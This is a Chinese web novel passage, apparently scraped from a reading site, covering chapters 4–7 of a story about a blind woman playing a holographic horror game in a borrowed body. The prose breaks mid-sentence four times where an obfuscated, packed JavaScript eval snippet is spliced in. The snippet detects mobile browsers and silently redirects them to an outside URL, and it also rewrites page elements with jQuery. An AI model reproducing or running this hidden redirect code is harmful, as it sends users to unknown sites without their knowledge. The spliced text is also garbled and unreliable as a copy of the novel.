“先来一份精确合成蛋白排,五种不同口味的碳水立方和元素浓汤。” 又点了杯复古碳酸饮料,她无视机器人疑惑的滴滴声,顺着无障碍通道径直入座。 【如果您只是想选些量大且易饱腹的食物,其实没有必要来自助餐厅,我可以给您搜索方便速食。】 光脑似是同样不理解她这般暴殄天物的做法。 “怎么,锚点,你觉得我应该来薅羊毛,是吗?” 薄瑜卿将餐巾轻轻垫在盘下,指尖自光滑的桌面划过,“我不是来单纯吃饭,而是来选品。” 【选品?】 “嗯,为接下来一个月的生活做准备。我需要找到能满足基本生存需求,而且味道并不让我讨厌的几类食物,作为游戏间隙的储备粮。” “利用这段时间,我会通关尽可能多的S级噩梦关卡,从而找到一份和全息游戏相关的工作。” 她平静地转过头,空洞的双眼自大厅缓缓扫过。虽然看不见,可任何微小的动静都在她耳中无限放大。 “哎,天下无双公会好像又拿下了一个噩梦副本首杀,全世界独一份的成就,又被他们刷新了呢。” “是啊,你说他们怎么就运气那么好?听说这次副本的最终BOSS直接不见了,让他们无伤通关。” “也不能说无伤吧,十个人中不还死了一个女的啊,不过那不重要。” “不重要?哼,听说那个女的还是会长的未婚妻。她走了,会长身边的位置不就空出来了吗?” “就凭你?哈哈,做什么白日梦呢?” “为什么不?会长连瞎子都能看上,没理由看不上我吧!” “你当真以为那是普通的瞎子呀?听说祖上是上个世纪的财阀薄氏。萧哲创建天下无双公会的首笔资金,就是她出的呢。” …… 薄瑜卿的指尖有一下没一下地敲打桌面,原本漫不经心的神色在听到熟悉的名词后渐渐变得凝重。 薄氏?她咀嚼着这个深入骨髓的词汇,神色晦暗不明。 ——她能够在薄暮身上借尸还魂,真的是巧合吗?其中会不会有什么关联? 可另一方面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960810|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又本能地排斥自己一手创立的商业帝国被后代拿去给男人挥霍。 “锚点,给我查一下薄氏集团。” 【嘀!该词汇被联邦搜索屏蔽,请您更改词语后再试哦。】 “联邦搜索?我记得背后的操控者是天霸集团。天霸……王天霸,呵。” 薄瑜卿垂下眼帘,没在这个问题上继续。与此同时,她点的食物也陆陆续续出现在桌上。 香气涌入鼻尖,她拿起刀叉切了一小块蛋白排,放入口中。 肉质鲜嫩,入口即化。更为神奇的是,每一口都是完全相同的味道。 碳水和浓汤也是同样。 她尝了几口,突然觉得饥饿感消退得七七八八,连带口中食物也变得索然无味。 “饱腹感很强,味道中等偏上,可以考虑长期购入。” 此次出来吃饭的目的基本达成,她索性将注意力挪向四周,看还有没有人讨论《地狱登神》。 不一会,两个刻意压低的声音传入她耳畔: “最近天下无双公会好像在招人,然然,你说我有没有机会?” “你做白日梦呢。他们对新人的要求高到离谱,我记得好像得有五个S级噩梦关卡通关吧。” “噩梦难度嘛,我可以去试试,万一呢?” “嗐,真是劝不动你。但你别忘了,这游戏中对于死亡的惩罚可是很严重,你小心到时候号没了,人也跟着没了。” 最后一句话,那人明显带了些警告意味。 薄瑜卿饶有兴趣地支着下巴,继续往下听。 “可这是难得一见的机会呀!上次天下无双招收女玩家是什么时候啊?你还有印象吗?” “他们招收女玩家就是为了撑门面,压根不会作为主战力培养。你若想在这个游戏中发财,或是拓宽职业发展道路,加入这个公会都是稳赔不赚的打算。” “喂,幸然,你这是什么意思?怎么一直泼我冷水!你该不会同样眼红会长夫人的位置才出来阻止我吧?你以前可不这样的。” “……我眼红那个位置?周雅彤,拜托你不要一张口就污蔑别人,我的眼光可没那么差!算了,我言尽于此,你要是执意往火坑里钻,我也不劝你。” 两人之间的氛围顿时开始剑拔弩张。 “那名叫幸然的玩家很有趣,有她的游戏ID吗?”薄瑜卿突然道。 【在《地狱登神》这款游戏中,ID都是实名认证的本名。游戏中,只要输入对方的名字,就可以发送好友申请。】 “我明白了。” 薄瑜卿拿餐巾纸优雅地试了试唇角,稍稍偏过头,准备再拿一份甜点。 一旁挂着的全息电视中,不知谁调到了游戏咨询台,一则播报好巧不巧地于此刻响起: “今天,天下无双公会举办了一场大型追悼会。其团队核心成员邴辉在游戏中死亡后,意外昏迷不醒,医院判定其为脑死亡,抢救无效。” “追悼会上,天下无双的会长萧哲亲自出席,并以个人名义向邴辉及其家属捐赠10万抚恤金。此举在玩家中间获得广泛声誉,申请加入天下无双公会的人数激增至3000人……” “十万块钱。”薄瑜卿忽然笑了,这个数字她并不陌生。 恰恰是数分钟前,萧哲从薄暮的卡中转走的那笔数字。 【锚点,打开穿梭通道,我要回家。】 5. 第 5 章 家中。 薄瑜卿站在光脑前,听其报出一大串颇具未来特色的融合菜名。 “你只需要告诉我蛋白排和碳水立方的原材料是什么,营养价值如何,以及价格浮动区间就可以了。” 听得无趣,她索性出言打断。 【好的,正在为您收集相关数据,请稍候~】 等待时,薄瑜卿分出一点精力思考刚才听到的新闻。 她对薄暮的钱并没有什么占有欲望,无论是十万还是百万,区别都不大。她唯一在意的是,手头账户的归属。 “我属于一个没有身份的人,目前指纹信息还是薄暮的。也就是说,往后我仍然需要用薄暮这个身份生活,接手她留下来的烂摊子。” 对薄瑜卿而言,让其她人染指她的钱,完全是天方夜谭。早在她十几岁、每晚被噩梦缠身时,她都知道提前立下遗嘱,将金钱的掌控权牢牢掌握在自己手中。 给未婚夫?还不如捐给乞丐,好歹还算做做善事,能为下辈子积德。 但她占据这具身体以后,并没有立即将薄暮的账户注销,只是放着不管,权当没有这回事。她宁愿花5%的手续费换成现金,也不会再往“夫妻共有”的卡里存一分钱。 她不太确定这个时代的人有没有更先进的手段查出薄暮内里换了个芯子这种事。可她明白一个道理:无论在任何时代,钱和权都是硬通货。如果她手中有足够的实力,那么哪怕被人发现她换了芯子,也无所谓。 比起夹着尾巴做人、猥琐发育,她更喜欢运筹帷幄,一击毙命。 在没弄清楚情况前,她不会高调地跳出来展示自己和薄暮的异常。但是如果有人不长眼敢惹到她头上,她定然不会忍气吞声。 【让您久等了,资料已经整理齐全。】 【蛋白牌的原材料是回收蛋白质与植物纤维,价格240元/kg(含加工),营养参数蛋白质:22.5g/100g,能量:150kcal/100g。】 【碳水立方的原材料是各种主食(米饭、面条、土豆泥等),价格90元/kg(含加工),营养参数:复合碳水化合物:24.8 g(缓释淀粉22.1g,膳食纤维2.7g),能量:98.5 kcal/每立方。】 “给我订购一个月的量。” 【好的。支出3960,剩余5020。】 扣除掉去自助餐厅吃的那一顿,外加来回的时空穿梭,她手中的资产顿时缩水一半。 薄瑜卿丝毫不在意,将生活中的琐事一件件分门别类,通通向光脑安排下去: “……最重要的一点,之后无论有谁敲门都不要开。特别注意,不能影响我的游戏进程。” 【好的,已将该条内容置顶~】 …… 【正在进入游戏,请稍候——】 【欢迎来到《地狱登神》,检测到您是第一次登录,请观看先导宣传片。】 一阵阴森古怪的音乐响起,还有凌乱的脚步声。随后是一阵格外凄厉的惨叫,仿佛有一个倒霉蛋逃命慢了半拍,被鬼捉住了。 随后,便是牙齿刺入皮肉的咀嚼声。 光影交错,无数拉长的鬼影散落在薄瑜卿面无表情的脸上,倒衬得她才像地狱里爬出来的厉鬼。 她难得有耐心等待数据加载完成。 此时,周围立体环绕的音乐在她看来,和鬼哭狼嚎的安眠曲无异,甚至影响她听进度条加载的声音。 “嘶——”好几只面目狰狞的恶鬼趴在她眼前张牙舞爪,口水自尖牙中滑落。若是寻常玩家,恐怕会被吓得一激灵,可它们注定无法从她脸上看到恐惧。 等到她忍不住打第三个哈欠时,手中终于出现盲杖的实质触感。这次,她总算精神一振,“终于开始了。” 略有新奇的感觉浸入毛孔,那一刹,她仿佛从皮囊中挣脱,进入一个全新的世界。 脚下踩的土地很软,像是不断往下陷的细沙,还有逼真的小石子。 她吸了吸鼻子,海洋的气息随着细微的海浪声一并涌来。 【您已进入:雾骸村(难度:未知)】 【提示:此地为安全点,您不会遭受来自其她玩家的攻击。】 两句系统提示后,便没了声音。 薄瑜卿静静站在原地感受了一会,她变成恶鬼后无往不利的灵觉正在逐渐苏醒。虽说还无法和这具躯壳完全融合,但能感应到远处存在上百个扭曲的灵体。 “是个被诅咒的村子。” 她没有太在意,打开盲杖,深一脚浅一脚地慢慢往前走。 进入游戏前,她已经在游戏舱中设置了四小时强制下线的指令,因而看不见游戏菜单对她也没有什么影响,只需要按她自己的节奏来即可。 “哒、哒。” 脚步声渐渐和涨潮的声音融为一体。 她所不知道的是,她的出现让同一时间降临到雾骸村的几个新手玩家大吃一惊,有人还顺手截图发到了游戏论坛。 【谈忆:盲人也来玩恐怖游戏吗?真是开了眼了。】 【谢海:我赌她活不过第一个任务。】 【吴群:+1。】 【田飞:+10086,我看定位是雾骸村,那恐怕连半个任务都完成不了,这可是目前难度最高的新手村,好像是最为邪门的时间诅咒。】 【谈忆:我会再关注这位盲人小姐姐的情况,有消息再报~】 这个帖子犹如昙花一现,很快被天下无双公会后面加着“爆”字的葬礼活动冲掉。 对讨论一无所知的薄瑜卿仍在慢慢往前走。她没有视觉,只得用听觉判断NPC可能的方位。 既然是游戏,那么肯定存在任务。她当务之急,是先摸清楚怎么玩。 “嗡——” 忽然,汽笛声由远及近,伴随着引擎的轰鸣,像是有一艘船正在徐徐靠岸。 如同平静的水面丢下一枚石子,刹那间,她明显感到耳畔的声音多了起来。 【这是女爵殿下第几次出征了?第五次吧。】 【是啊,这一次也不辱使命,大获全胜呢!】 【可暗影仲裁会发来的加密信件是什么意思?看过之后,女爵殿下已经连续两天没露面了。】 【不知道啊,女爵殿下一直对仲裁会忠心耿耿,是其手中最锋利的刀,这次的信件应该是催促她尽快返航吧。】 【你们不觉得奇怪吗?我们踏入这片海域之后,航行的速度明显慢了很多……】 【不,这片海域不是一直都这样吗?你不要危言耸听,我们怎么可能在原地打转?】 【我没有说一定就在原地,只是觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960811|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得古怪。你们等一下,我做一个记号。】 随着“砰”一声,好像有什么东西落入水面。窃窃私语声逐渐消失,仿佛一开始就不曾存在。 薄瑜卿脚步一顿,转身踩着潮湿的沙滩往前。渐渐的,海水没过她的小腿,还在进一步向上涌。 “就在这附近。” 她收起盲杖,吸入一口气,一个猛子扎入水面。 水花掀起,又很快归于平静。 【您已进入:归墟之海(难度:Lv10)】 “喂,你们看那边,有新人进入十级区域了。” 几个同样刚登入游戏的玩家刚从村长那里接到捕鱼的任务,正在海边布置渔网。其中刚刚在论坛发帖的谈忆眼尖,注意到那一幕: “她是想自杀吗?刚才捞到一只食人鱼,差点没让我们团灭,她怎么敢下去的?” “嘿,待会看她还能不能活着出来不就知道了。听说海里还存在幽灵,新人被缠住就会被拖进海底窒息而死。” 几人议论纷纷,连手中的网都忘了收,两条大鱼趁机咬断网口逃跑。 此时,海底。 薄瑜卿持续下潜,冰冷的海水在试图挤压她的肺部,时不时还有冰凉且柔软的触感擦过她的脸颊。 如果她能看见,会发现幽暗的海底中一个个白色的影子悄然闪现,如同被灯塔吸附般紧紧围着她,可不知为何却无法靠近她的身体。 【因为长时间憋气,血量-5,当前:55】 【获得窒息buff:每秒钟降低一点血量,在血量归零时自动解除】 薄瑜卿像是没听见般,弯下腰,双手在沙地中摸索。 粗糙的沙粒子自指尖划过,她不紧不慢地以自己为圆心,逐渐向外延伸。 就在这附近——她无比确定。 此时,她的血量已下降到30点,虚空中的倒计时变成了赤红色。可她仿佛对此毫无察觉,仍在按照自己的节奏搜索。就像她最初提议进军全息网游市场时,整个董事会都不赞成。可最后,她用结果证明那是无比正确的一步棋。 “找到了。” 她稍稍用力,将状似金属圆盘的东西从沙泥里抠出来。边缘刻着一个名字,她用指腹摸了摸,脚下用力一蹬,整个人迅速向水面游去。 这具身体比她想象中更加羸弱。一来视野不便,自身行动受限;二来薄暮自身也没有锻炼的意识,久而久之,就造成了这个初始属性远低于常人的境况。 【当前血量已不足10点,陷入濒死状态】 冰冷的倒计时传入耳畔。薄瑜卿感到手脚传来愈发明显的疼痛,像是抽筋的前兆。 她立即调整身体为倾斜,同时,缓慢将肺里的废气吐出。缺氧使得大脑陷入长久的空白,意识模糊之际,她像是又回到了噩梦缠身的日子,眼前浮现出光怪陆离的梦境碎片。 ——海难,女爵,加密信,时空诅咒。 空洞的眼窝中浮现出一抹血色,她不顾手臂传来的疼痛,用力一蹬,头终于露出水面。 【当前血量:3】 她感受着迎面飘来的湿润海风,整个人仰躺在水面上慢悠悠地飘了一会。 【获得特殊物品:水手的定位罗盘】 她没有理会后知后觉响起的提示音。有个猜想,她需要尽快验证。 6. 第 6 章 “村长,为了捕捞这些鱼,我和我的同伴们忙活了一下午,还被食人鱼咬了好几口呢。” 谈忆将网兜里活蹦乱跳的五条大鱼递过去。有播音主持专业背景的她嗓音和笑容一样甜美,“但为了缓解村里的饥荒,我们义不容辞。” “好,这次多亏了你们这些热心的年轻人。” 村长年过半百,浑浊的眼睛望向她,脸上闪过一抹欣慰,“台风快要来了,你们能帮忙在村子外面加固围栏吗?” “我们这就去。” 眼看谈忆一口应下,身后的同伴不觉伸出手拉了她一下,悄声嘀咕: “哎,任务奖励呢?我们忙活半天,都挂了彩,怎么连个铜板都没有看到啊?” 闻言,她语气一顿,再度恳切地看向老人,“村长,你看我们初来乍到,同伴又受伤了,不知村里可有——” “卫生站前方第二个路口左转。” 老人热心地指了下路,转过身,作势要回屋。 “不是,村长,我们刚刚是帮忙抓鱼时受的伤,你看这医药费是不是得给我们免了?” 谢海转了转眼珠,索性将话挑明。他能有如此底气,是《地狱登神》这款游戏在宣传阶段便以NPC完全智能为噱头,玩家可以和其讨价还价来抬高任务奖励。换言之,谈判高手和普通玩家的奖励可能会差两三倍。 “实在不行,抓鱼的报酬也给我们一点,好让我们付得起药钱。” 他自诩占理,滔滔不绝说了一堆。 不料,老者的脸色却在须臾之间由晴转阴,语调也低沉下来,“我原以为你们是救村子于水火之中的勇士,现在看来,是我高估你们了。” “雾骸村在海难的侵蚀下已然民不聊生……也罢,如果你们硬要报酬,我只能给出这么多。” 他慢吞吞地在口袋里掏了掏,取出两个脏兮兮的铜板。 “这……”谢海全然没了刚才说话的气势,盯着那两个铜板,拿也不是,不拿也不是。 “还是我来吧!”谈忆微微蹙眉,将他推到一边,熟练地挤出笑脸,“村长,我的同伴刚才说话有些不经大脑,如有冒犯,还请您大人有大量,不要和他一般计较。” “我们是来给村子帮忙的,自然不会收取钱财这种身外之物。您刚才说加固围栏是吧?我们这就去。” “那样就太好不过了,我代表全村人感谢你们。” 村长点点头,重新露出笑容,转身回到屋里。 在他彻底消失在门后,谈忆这才垮下脸,狠狠瞪向一旁面色讪讪的谢海,“这下可好,我们算是把他给得罪了!之后会不会给我们派任务都是两说!” “喂,你也别把气都朝我身上撒啊。这老东西刚才那个抠门样,你又不是没看见?两个铜板打发叫花子呢,别我们忙到最后竹篮打水一场空。” “那你有什么办法,现在说啊!整个雾骸村就只有村长这一个会动的NPC,我们还能找谁接任务?” 做不了任务,她们就升不了等级,而等级高低直接影响属性点和后续技能专精的开启。可以说,前期任何一环断裂,都会使后面举步维艰。 “好了,你们两个别吵了。我们还是赶紧去卫生所包扎一下伤口吧,血量一直在掉。”有人出来劝和。 “对,卫生所这地方应该有NPC!我们快去看看能不能接到别的任务。” 谈忆一拍大腿,急匆匆地向七拐八绕的土路走去。 村子不大,可奇怪的是,一路上她们都没看到村民出现,周围安静得只能听到海浪回音。 远远的,一栋低矮的房屋出现在她们眼前。 屋前围栏倒了一半,门口尽是台风肆虐的凌乱痕迹。台阶上坐着一个佝偻的身影,她低着头,看不清表情,从动作看似在缝着一件衣服。 “您好,请问这里是卫生所吗?” 交际的事情统一由谈忆出面,这是她们小队里面商议好的。 在《地狱登神》游戏中,属性不只有列出来的那几项。魅力作为一项隐藏属性,在和NPC的交际中起着不可或缺的作用。根据玩家们的推测,魅力高的人基本上都有颜值高和声音好听两个特点,当然仪表也很重要。 在当魅力足够高时,甚至还可以说服NPC帮忙做事,乃至直接将其收为随从。 听到响动,老人缓缓抬起头,漠然地扫了她一眼,“治疗一次,十个铜币。” 此言一出,几个玩家犹如霜打的茄子般面面相觑。她们第一天进入游戏,浑身上下除了件白板的布衣,什么都没有。就算把她们卖了,可能也凑不齐十个铜板。 “早知道刚才就收下那两个铜板了,蚊子再小也是肉。”谢海嘟囔着。 “是这样的,我们受村长的指引来到这里,受伤也是为村子储备冬粮,不知价格方面可否通融一下?或是我们之后再补上?” 谈忆继续尝试和其交涉。 不料,老人没再说话,低头缝着手里的衣服。 “你这里有什么需要我们帮忙的吗?我们都可以做。”谢海急性子地添上一句,“缝衣服这种小事,我也会。” “呵。” 老人冷笑一声,脸上的皱纹一瞬间炸开,密密麻麻堆满了整张脸,留下一片浓厚的阴影。 “我不需要外来者帮忙。”她的声音浸着令人心底发凉的冰寒。 【华轩秀(水手母亲)对你的好感-20,当前:-10(冷漠)】 好感值一下负数了。 谈忆张了张口,感觉再多的话都堵在嗓子眼。她生怕多说一句,本就负值的好感度继续往下掉,甚至变成敌对。 “我去!负30!” 始作俑者谢海惊叫一声,满脸懊恼,其她人也不逞多让,大部分在负20左右徘徊。 这就是魅力值高的好处,哪怕扣好感也不会扣那么多。 但谈忆此时并没有半点喜悦,她甚至萌生出下线去论坛上搜搜攻略的想法。可在这款游戏中,每个新手副本的剧情都是唯一的。换言之,除了同在此处的玩家,她根本找不到人去问。 “哒、哒、哒……” 就在众人群龙无首时,小巷的另一头忽然传来清脆的敲击声。每一下,都仿佛提前规划好般,分秒不差。 渐渐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960812|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,薄瑜卿手持盲杖走入她们的视野。 她仿佛知道自己此行的目标般,每一步都走的从容。配合她此时头顶的濒死红色buff,倒真有几分将生死置之度外的世外高人风范。 “不是,这瞎子来凑什么热闹?” 谢海说话的声音不小,谈忆连忙瞪他一眼,低声喝止,“别乱说!” 作为最开始注意到薄瑜卿的玩家,她看到的东西显然要更多。 对方头上的濒死buff说明她从海底游了回来,甚至还捡回一条命。那可是十级的海域啊,对方又看不见,她到底怎么做到的? 别说面对水下无处不在的幽灵,单是那些奇形怪状、有着锋利牙齿的食人鱼都把谈忆吓得腿软。由此,她不免对这个拄着盲杖的盲人产生几分好奇。 “你好。” 薄瑜卿压根没看她们,径直向坐在门口的老人走去。 她仿佛知道对方是坐着一般,稍稍弯下腰,从口袋里取出一物,向前递去: “这个东西您认得吗?” “哼,故弄玄虚。”谢海见老人停下动作,那双空洞的双眼冷漠地抬起时,忍不住讥讽道,“你以为任务是那么好触发的呀?岂不是人人都——” 然而,他话音未落,老人忽然激动地站起,一把将那枚圆盘紧紧捧在手心,哆哆嗦嗦翻来覆去地看。 “我的女儿……终于有你的消息了,我终于等到了!” 她不管外面目瞪口呆的一行人,热情地拉起薄瑜卿的手,“你伤的很重,我先为你疗伤。” “谢谢。” 薄瑜卿微微颔首,向其表示感谢。末了,她添上一句,“我们最好进屋说。” 她可不是慈善家,将任务共享给不相干的人。她虽然看不见,可能感受到如芒在背的恶意。 “没问题。”老人一口答应,即刻打开房门。 也不知道其用了什么方法治疗,她感到一阵暖流自手腕淌入体内,整个身体瞬间变得暖洋洋的。 【当前血量:60(濒死buff自动解除)】 待门关上后,她才将找到罗盘的过程告诉对方。末了,她问: “你女儿效忠的对象,是不是远近闻名的归墟女爵?如果我没有记错,她跟随舰队出征后,再也没有回来。” “你怎么知道?” 老人的表情有一瞬间惊讶,随后苦笑着摇摇头,口中低喃,“这么些年,她一次都没有回来,连一封信也没有。我本来都已经不抱希望了……” “我可以帮你找到她的下落。” 薄瑜卿淡淡地说,语气充斥着对自身的绝对自信,“这名归墟女爵,我认识。” ——在她的“噩梦”中,她和对方打过不止一次交道。 几乎同时,她听到一声提示音: 【华轩秀(水手母亲)对你的好感+200,当前:200(友善)】 【检测到触发全服公告,是否公开姓名?】 “匿名。” 【系统公告:玩家[匿名]单次提升NPC好感200点,获得荣誉点*1,刷新全服好感榜记录!】 7. 第 7 章 【谈忆:同志们,我看走眼了!人不可貌相,这位盲人小姐姐可能是隐藏的高手Σ(っ°Д °;)っ】 【幸然:搬个板凳。】 【吴群:细说。】 【田飞:这反转……该不会你们要杀的怪在还剩血皮的时候被人家抢了吧?】 小屋外面,谈忆望着紧闭的大门和窗户,继续飞快地在帖子后面留言: 【谈忆:我们好不容易找到个NPC,说了两句话,好感突然变成负数。结果盲人小姐姐一来,对方立马热情地把她迎到屋里,附上两张NPC变脸图[图1][图2]】 【吴群:真的假的?她看上去也不像魅力值很高的样子呀,该不会是游戏公司的内部人员故意扮成盲人找乐子吧?】 【田飞:一眼P图,编都不会编的真实点。】 【幸然:楼上两个什么脑回路,就不能是人家有实力?依我看,她多半是拿到了特殊道具,有些NPC只认东西不认人。刚才那条公告,说不定也是由她触发。】 【田飞:***(不雅词汇已被自动屏蔽)我已经投诉给客服了,绝对是bug!】 【百里牛:怎么还在这个帖子里呢?隔壁都在猜匿名玩家是哪个大姥,再不下注,待会可开盘了。】 …… 【系统提示:你使用了[水手的定位罗盘],接受任务:失独母亲的愿望——寻找失落的船只残骸。】 提示音落下后,薄瑜卿站起身,盲杖习惯性地点到地上。 “有消息了,我会第一时间告诉你。” “那再好不过!”老者颤巍巍地走到门边,帮她将门口杂物挪开,“我本来都不抱希望……谢谢你,好心人。哎,对,如果你要出海的话,村里还有最后一艘渔船,就在——” “出海的事先不急。” 薄瑜卿摇摇头,婉拒了对方提出的诱人建议,“台风要来了,现在出海收益太低。” 她一路从海边走过来时,除了听到幽灵们的耳语,还有愈发剧烈的风声,夹杂着一种低频的、几乎无法被听见的震动,像是远方巨浪叩击的余音。 强大的感知还能让她察觉出空气的变化,仿佛一块吸饱水的海绵,沉甸甸的。泥土深处带着某种腥气的土味正在被看不见的巨大压力提前唤醒,慢慢翻涌至地表。 海洋上的巨变看似遥远,到近处也就在一瞬间,全看老天奶的心情。 薄瑜卿虽然对自己有着十足的自信,可她不会自负狂妄到去挑战自然规律。等到台风过境以后再出海去寻找船只残骸也不迟,这一天两天,她等得起。 哪怕这是一个游戏,她仍然会考虑到所有可能的因素,用最小的代价搏最大收益。 况且,从另外的角度思考,雾骸村这样一个小村落能在海难之后坚持那么久,定然有其特殊之处。 她决定趁这段时间在村里转转。 “哒、哒。” 走在乡间小路上,她能感到身后有人在跟着她。 “不是,我们真的要一直跟在这个瞎子后面吗?”谢海忍不住出声道,“村长那边的任务——” “你自己也说村长的任务没有奖励。” 谈忆斜他一眼,朝薄瑜卿的方向努了努嘴,“她手里多半有特殊任务的线索,我们找机会和她聊聊,说不定还能共享任务。” “也对哈,特殊任务多半有特殊奖励呢!” 谢海转了转眼珠,回头看向其她几个队友,压低声音,“再不济,我们等到怪还剩最后一次血皮的时候……嘿。” 她们讨论得热火朝天,殊不知所有话语均被微风送到薄瑜卿的耳中,宛若一场明谋。 她面上没有任何表情,仍在不紧不慢地往前走,仿佛这些弯弯绕绕与她无关。 但在眼底,一丝幽暗的风暴转瞬即逝。 “沙沙……” 原本寂静的村庄中,凭空多出一些古怪的声音,仿佛有人在低声细语。渐渐的,那声音大起来: “喂,你们是村子里新来的冒险者吗?之前怎么没有见过?” 朦胧的雾气中,一个男人的身影渐渐浮现。他穿着朴素的布衣,身上湿淋淋的。 薄瑜卿没有理会,径直从他身边走过。倒是尾随她的几名玩家忍不住了,跳出来接上对话: “我们初来乍到,有什么需要帮忙的吗?” “那可太好了!我叫权三,是村里的渔民,刚捕捞了一船的鱼,正发愁怎么运回去呢。你们若是帮忙,我可以做新鲜的海鲜汤给你们喝。” 男人热情地说,眼神不觉瞟向薄瑜卿消失的方向,眸底划过一抹暗色,“你们这位同伴——” “不用管她!”谢海撇撇嘴,迅速扯过话头,“渔船在哪?我们来帮你!” …… 薄瑜卿拐了个弯,将其抛在身后。 她能感到对方不是人,故而不愿惹祸上身。就算不动用感知能力,华轩秀那句“村里最后一艘渔船”也能说明这个渔夫存在猫腻。 但其她人怎么做,和她无关,她不会在没有足够利益的前提下当好人。 薄瑜卿稍稍加快脚步,不一会,一栋虽然破旧,但仍然能看出往日气派的独栋洋房出现在她正前方。 村长半眯着眼睛,抚着胡须,懒洋洋坐在屋檐下晒太阳,全然没有台风将至的紧张。光线将椅子投下一道影子,那上面却空空如也。 待薄瑜卿走近,他像是未卜先知般挂上和蔼的笑容,“外来者,你是来帮忙的吗?” “不。” 薄瑜卿停下脚步,单刀直入,“归墟女爵的事迹,你有听说过吗?” “什、什么女爵?” 村长面上的笑容僵了一瞬,眼神闪烁,“我不明白你在说什么。我们这里只有海神,没有女爵。” 她取出那枚罗盘,放在手心,“这个呢?你认得吗?” “我不知道。”村长仍然是相同的答案,表情浮上不耐烦,“如果你不是来帮忙加固围栏的,那么你可以走了。” 【董白(村长)对你的好感-10,当前:-10(冷漠)】 薄瑜卿仍然站在原地,空洞的眼窝静静地注视着他,仿佛要将他内心的那点算盘看穿: “加固围栏,能让你回答我的问题吗?还是说,你喜欢安排人打白工?” “……” 【董白(村长)对你的好感-10,当前:-20(冷漠)】 “为什么回避我的问题?” 薄瑜卿像是没有听到提示音般,不依不挠地步步紧逼,“你身为村长应该对村里的一切了如指掌。这枚罗盘水手的母亲都能认出来,你为什么认不出来?” “在找借口前,你应该清楚一个前提:这样款式的罗盘有很多。也许你认不出水手拿的具体是哪个,但这一批你肯定见过。” “……那些人都已经死了。” 老人阴沉着脸,口中是被她逼得无话可说的喃喃,“那些不听劝告的,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960813|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有回来。” “什么劝告?” 【董白(村长)对你的好感-20,当前:-40(冷漠)】 “村长,你当然可以选择不告诉我,但我迟早会查到一切。” “现在的村子里已经没有活人了吧?那么多空房屋到底怎么来的?你身为村长,难道没有为村子里的情况努力过?还是说,你选择了同流合污。” 【董白(村长)对你的好感-20,当前:-60(冷漠)】 “够了!” 村长攥紧拳头,额角青筋毕露。他始终没有正面回答问题,但也没有掉头离开,因为薄瑜卿扒着围栏不让他走。虽然6点力量很低,可对比老人仍是绰绰有余。 她仍旧在慢悠悠地输出: “你是害怕,还是心虚?抑或是二者都有?” “如果你占理,关于那场海难、关于沉船,你有什么不可以说的?” “难不成,女爵率领舰队的沉没除了和暗影仲裁会那封加密信有关,你也进去掺和了一脚?好像只剩这个可能。” “我很好奇,与虎谋皮之后,知晓秘密的你还能活吗?或者说,此刻站在我面前的是一只披着人皮的鬼。” 唇角微扬,她一句比下一句更不留情面。 “你、你……” 【董白(村长)对你的好感-40,当前:-100(敌对)】 老人头上的名字骤然变成了红色,他怒气冲冲地转身拿了把铁锹,面容狰狞地抡起就往薄瑜卿身上砍: “你胡说八道!血口喷人!我那是为了整个村子!你一个外来者懂什么——” 随着“咔嚓”一声,他手中的铁锹连同他整个人裂成两半,轻飘飘地炸成一滩黑色血水。 【你受到30点伤害(已免疫),当前血量:60】 【你对村长造成3000点伤害,对方血量:-1000】 扭曲的表情在消散前,充斥着极度的惊骇与恐惧。 “果然是隐藏的恶灵,嘴巴里腐烂的鱼腥味太冲了。” 薄瑜卿轻轻呼出一口气,头一次对自己过分敏锐的嗅觉产生不满。她将手伸进地上的血泊中,随意搅动两下,感受着粘稠液体滑落的触感,“换了身体,杀个人都这么麻烦。” 恶灵终结者这个特质,更像是对她的一种特殊限制。 从坟墓中爬出来后强大的灵觉被数据化成“特质”,她只能先按照游戏规则玩,没法随心所欲将人弄得脑浆碎裂。 “说这么多废话才能杀人,真是拉低效率。” 